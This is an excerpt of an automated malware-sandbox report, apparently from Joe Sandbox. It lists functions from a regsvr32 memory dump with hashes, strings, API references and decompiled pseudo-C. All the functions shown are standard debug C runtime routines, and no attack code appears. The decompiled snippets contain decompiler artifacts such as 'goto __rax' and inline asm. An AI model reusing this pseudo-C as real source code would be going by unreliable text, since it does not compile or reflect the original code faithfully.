String ID: ("Incorrect format specifier", 0)$(ch != _T('\0'))$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-4087627024
Opcode ID: 129faf18f11d0aee11f016f36c84ee6a14c26cc1d7ed9976eab63fbc1969d985
Instruction ID: 0390e2d988dd4d1b4c77dc3c399ba89b4ed25e2388807167c80bf5b266a398b6
Opcode Fuzzy Hash: 129faf18f11d0aee11f016f36c84ee6a14c26cc1d7ed9976eab63fbc1969d985
Instruction Fuzzy Hash: 95713A72A0D6C286E7F09B24E8947BEB7E4E384345F604126D6CD86AA9DB3ED540CF11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D30FD0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 124COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D31084

Strings

dst != NULL, xrefs: 000007FEF9D31020, 000007FEF9D3107D
memcpy_s, xrefs: 000007FEF9D31076, 000007FEF9D3113B, 000007FEF9D311DB
src != NULL, xrefs: 000007FEF9D310E5, 000007FEF9D31142
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\memcpy_s.c, xrefs: 000007FEF9D31035, 000007FEF9D3106F, 000007FEF9D310FA, 000007FEF9D31134, 000007FEF9D3119A, 000007FEF9D311D4
sizeInBytes >= count, xrefs: 000007FEF9D31185, 000007FEF9D311E2

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: dst != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\memcpy_s.c$memcpy_s$sizeInBytes >= count$src != NULL
API String ID: 2123368286-3692278645
Opcode ID: 55675c40df69ab8a15ad1ce5aa383a74447e024eaeb1f72783c964e483dda9b8
Instruction ID: a0804de238eaeeb3fb2e5788e9c0a34a411087d46cc23648724fab17a52a0f2c
Opcode Fuzzy Hash: 55675c40df69ab8a15ad1ce5aa383a74447e024eaeb1f72783c964e483dda9b8
Instruction Fuzzy Hash: 0E513C31A1C68686F7A0CB24E8447BE76E5F384344F604136E6CD47AB8DBBEE544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BC30 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc_base.LIBCMTD ref: 000007FEF9D2BC55
_free_base.LIBCMTD ref: 000007FEF9D2BC6C

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_base_malloc_base
String ID:
API String ID: 3824334587-0
Opcode ID: f253414e3849525c296ec210365ea501a1b810d2bb56cf35f247e52024ae0b7b
Instruction ID: 495d8382669efda2ae004298a380b2f700874c64e4d866c5cb6fbd4b09cb9029
Opcode Fuzzy Hash: f253414e3849525c296ec210365ea501a1b810d2bb56cf35f247e52024ae0b7b
Instruction Fuzzy Hash: AC312D3191D68285E7E49B60EC0437EA3E1F7853A4F214535A6DE466F5CFBEE4809B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D263E0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D26476

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26427, 000007FEF9D26461
Bad memory block found at 0x%p., xrefs: 000007FEF9D26603
Bad memory block found at 0x%p.Memory allocated at %hs(%d)., xrefs: 000007FEF9D265D4
state != NULL, xrefs: 000007FEF9D26412, 000007FEF9D2646F
_CrtMemCheckpoint, xrefs: 000007FEF9D26468

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: Bad memory block found at 0x%p.$Bad memory block found at 0x%p.Memory allocated at %hs(%d).$_CrtMemCheckpoint$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$state != NULL
API String ID: 2123368286-817335350
Opcode ID: 3b86e21d312907f031a9c3af8c0eef3d8af61768b64ebe8bc9406c081913c3b7
Instruction ID: bdf1888ae082cb337f1151e8154f2efa45ef3de29dcf6e6b26155e3a2b634fb1
Opcode Fuzzy Hash: 3b86e21d312907f031a9c3af8c0eef3d8af61768b64ebe8bc9406c081913c3b7
Instruction Fuzzy Hash: 6461FB36A18B4586EB64CB19E89132E77A0F785794F714126EBCD83BB4CB3ED451CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2CFF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 138
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D2CFF0(intOrPtr _a8) {
				intOrPtr _v24;
				long long _v48;
				long long _v64;
				intOrPtr _t21;

				_a8 = _t21;
				_v48 = 0;
				_v64 = 0;
				_v24 = _a8;
				_v24 = _v24 - 2;
				if (_v24 - 0x14 > 0) goto 0xf9d2d13e;
				goto __rax;
			}

0x7fef9d2cff0
0x7fef9d2cff8
0x7fef9d2d000
0x7fef9d2d010
0x7fef9d2d01b
0x7fef9d2d024
0x7fef9d2d048

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2D1C9

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c, xrefs: 000007FEF9D2D17A, 000007FEF9D2D1B4
("Invalid signal or error", 0), xrefs: 000007FEF9D2D165, 000007FEF9D2D1C2
raise, xrefs: 000007FEF9D2D1BB

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid signal or error", 0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c$raise
API String ID: 2123368286-2245755083
Opcode ID: 18adc300c2b93f7eab7b819d563e90f5c41814788a4c43fa347d2340d41b98cd
Instruction ID: 19b7c93d4736ed7bda32945b1fb5f0ab86c56f1dc684690d029957412a3b2f1f
Opcode Fuzzy Hash: 18adc300c2b93f7eab7b819d563e90f5c41814788a4c43fa347d2340d41b98cd
Instruction Fuzzy Hash: 8C71E83291C786CAE7A09F58E84476EB7E0F785754F214135E6CA47BA4CB3EE448CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25AD9 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

_CrtIsValidHeapPointer.LIBCMTD ref: 000007FEF9D25B35

Strings

LX, xrefs: 000007FEF9D25B5F
L7, xrefs: 000007FEF9D25C0F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D25AF2, 000007FEF9D25B53, 000007FEF9D25BC9
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D25BB4
_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D25B3E
_CrtCheckMemory(), xrefs: 000007FEF9D25ADD

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: HeapPointerValid
String ID: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtCheckMemory()$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$L7$LX
API String ID: 299318057-1988567080
Opcode ID: 449abee572b00c001843884aa05b8e5cdaea28f8affc6eceb55751fcc4bbfe52
Instruction ID: 366f9875c4733d956d5456637ee1c03ed06e45eb4220731ed3e90847f50651e0
Opcode Fuzzy Hash: 449abee572b00c001843884aa05b8e5cdaea28f8affc6eceb55751fcc4bbfe52
Instruction Fuzzy Hash: FB314D36A1874A86EBE48B59E84172E67D1F785784F614036EACD83BB4DB3FD440CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2C7E9 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_realloc_dbg.LIBCMTD ref: 000007FEF9D2C86D
_realloc_dbg.LIBCMTD ref: 000007FEF9D2C8B8
EncodePointer.KERNEL32 ref: 000007FEF9D2C8FF
EncodePointer.KERNEL32 ref: 000007FEF9D2C911
EncodePointer.KERNEL32 ref: 000007FEF9D2C932

Strings

}, xrefs: 000007FEF9D2C84E
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\onexit.c, xrefs: 000007FEF9D2C856, 000007FEF9D2C8A1

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer$_realloc_dbg
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\onexit.c$}
API String ID: 429494535-1858280179
Opcode ID: 950a78d59f72efd3ce43bd8456283c625fce50364ef15d6a0f5e845d51c15c3f
Instruction ID: 6b22acafcb165364cee05dc597c268ac6a46098997f00e2a063c2d8cfde95e66
Opcode Fuzzy Hash: 950a78d59f72efd3ce43bd8456283c625fce50364ef15d6a0f5e845d51c15c3f
Instruction Fuzzy Hash: D441B836619B8586DA90CB59F88432EB7E4F7C9794F201025EACE43B68DF7ED4958B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E16F Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 259COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E1BC

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-734865713
Opcode ID: c2425827690f07a93f69eb38b450ff2678cd23c1eb01a19a01dfffa3a40938e6
Instruction ID: ca3ec57313c22d844cddba0ccc7478434e3ff2f5ac626f229199dffed11d05c2
Opcode Fuzzy Hash: c2425827690f07a93f69eb38b450ff2678cd23c1eb01a19a01dfffa3a40938e6
Instruction Fuzzy Hash: 83D1CA72A0CAC686E7B18B55E8407AFB7E0F384355F600126E6DD87AA9DB7DE440CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DF8D Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 218
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D3DF8D(signed short _a1208, signed int _a1412) {

				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
7, xrefs: 000007FEF9D3DFAD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: ("Incorrect format specifier", 0)$7$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 0-1585035072
Opcode ID: 0bf90205098d20be4f4e59ab582b3189e67a2fe65aecfe549d1a450604364a50
Instruction ID: 7092a431cc2f14586a5b6039053772aca43f1c1a92c9fb0ada713ca2b75f96be
Opcode Fuzzy Hash: 0bf90205098d20be4f4e59ab582b3189e67a2fe65aecfe549d1a450604364a50
Instruction Fuzzy Hash: 93B10D7260CAC286E7B1DB55E8417AFB7E0F784356F104026EAC987AA9DB7DE444CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D38350 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 178COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D38420
_invalid_parameter.LIBCMTD ref: 000007FEF9D384CA

Strings

_vswprintf_helper, xrefs: 000007FEF9D38412, 000007FEF9D384BC
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c, xrefs: 000007FEF9D383D1, 000007FEF9D3840B, 000007FEF9D3847B, 000007FEF9D384B5
(count == 0) || (string != NULL), xrefs: 000007FEF9D38466, 000007FEF9D384C3
(format != NULL), xrefs: 000007FEF9D383BC, 000007FEF9D38419

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (count == 0) || (string != NULL)$(format != NULL)$_vswprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c
API String ID: 2123368286-1876092940
Opcode ID: 9846629aa5f9262a1bee0fdfcec26bb25970a0f61289143976d8b215326cf8ff
Instruction ID: 5b23c079d1b4d794af0cdd69ad2b30100ea5e3abf5a9ef6833dde17c78c07454
Opcode Fuzzy Hash: 9846629aa5f9262a1bee0fdfcec26bb25970a0f61289143976d8b215326cf8ff
Instruction Fuzzy Hash: 40911E32618B85CAE7A48B15E84476E77E0F384795F208525E6DE87BB4DB3ED444CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BE32 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E000007FE7FEF9D3BE32(signed int _a80, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096) {

				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB
w, xrefs: 000007FEF9D3BE63

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$w
API String ID: 530996419-3826063230
Opcode ID: 6f4341bf75342723462239bb8ed84b432b5f9ccd09e3c394fa39f7378907594f
Instruction ID: d6c85ddd6a9fac6d59453cfc6279b165f514207326055716b4e5bf0dd1bf0ecb
Opcode Fuzzy Hash: 6f4341bf75342723462239bb8ed84b432b5f9ccd09e3c394fa39f7378907594f
Instruction Fuzzy Hash: 0A916F72A0D6C68AE3F08B54E88477EB7E4E385342F601026D7CD87AA9CB7ED5418F11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DDE0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E000007FE7FEF9D3DDE0(signed int _a80, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544) {

				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9

Strings

w, xrefs: 000007FEF9D3DE11
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$w
API String ID: 530996419-4206863317
Opcode ID: ea911f3e0001a33c00663cb6cc71ee2ff701874ce847a4c399e41a1539880d37
Instruction ID: 52af39986bd237b596cdecada1f5af7c0900048515ebe490badd59f4da94dd67
Opcode Fuzzy Hash: ea911f3e0001a33c00663cb6cc71ee2ff701874ce847a4c399e41a1539880d37
Instruction Fuzzy Hash: 35910A62A0C6C18AE7F08B55E88077EB3E1F385756F600026E6CD87AA4DB7ED855DF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BCFA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D3BCFA(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a968, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t171;
				char* _t191;
				char* _t192;

				_a968 = _a696 & 0x000000ff;
				if (_a968 == 0x20) goto 0xf9d3bd57;
				if (_a968 == 0x23) goto 0xf9d3bd64;
				if (_a968 == 0x2b) goto 0xf9d3bd4a;
				if (_a968 == 0x2d) goto 0xf9d3bd3d;
				if (_a968 == 0x30) goto 0xf9d3bd72;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3bd7d;
				asm("bts eax, 0x7");
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000008;
				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t191 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t191);
				if (_a88 >= 0) goto 0xf9d3bdbc;
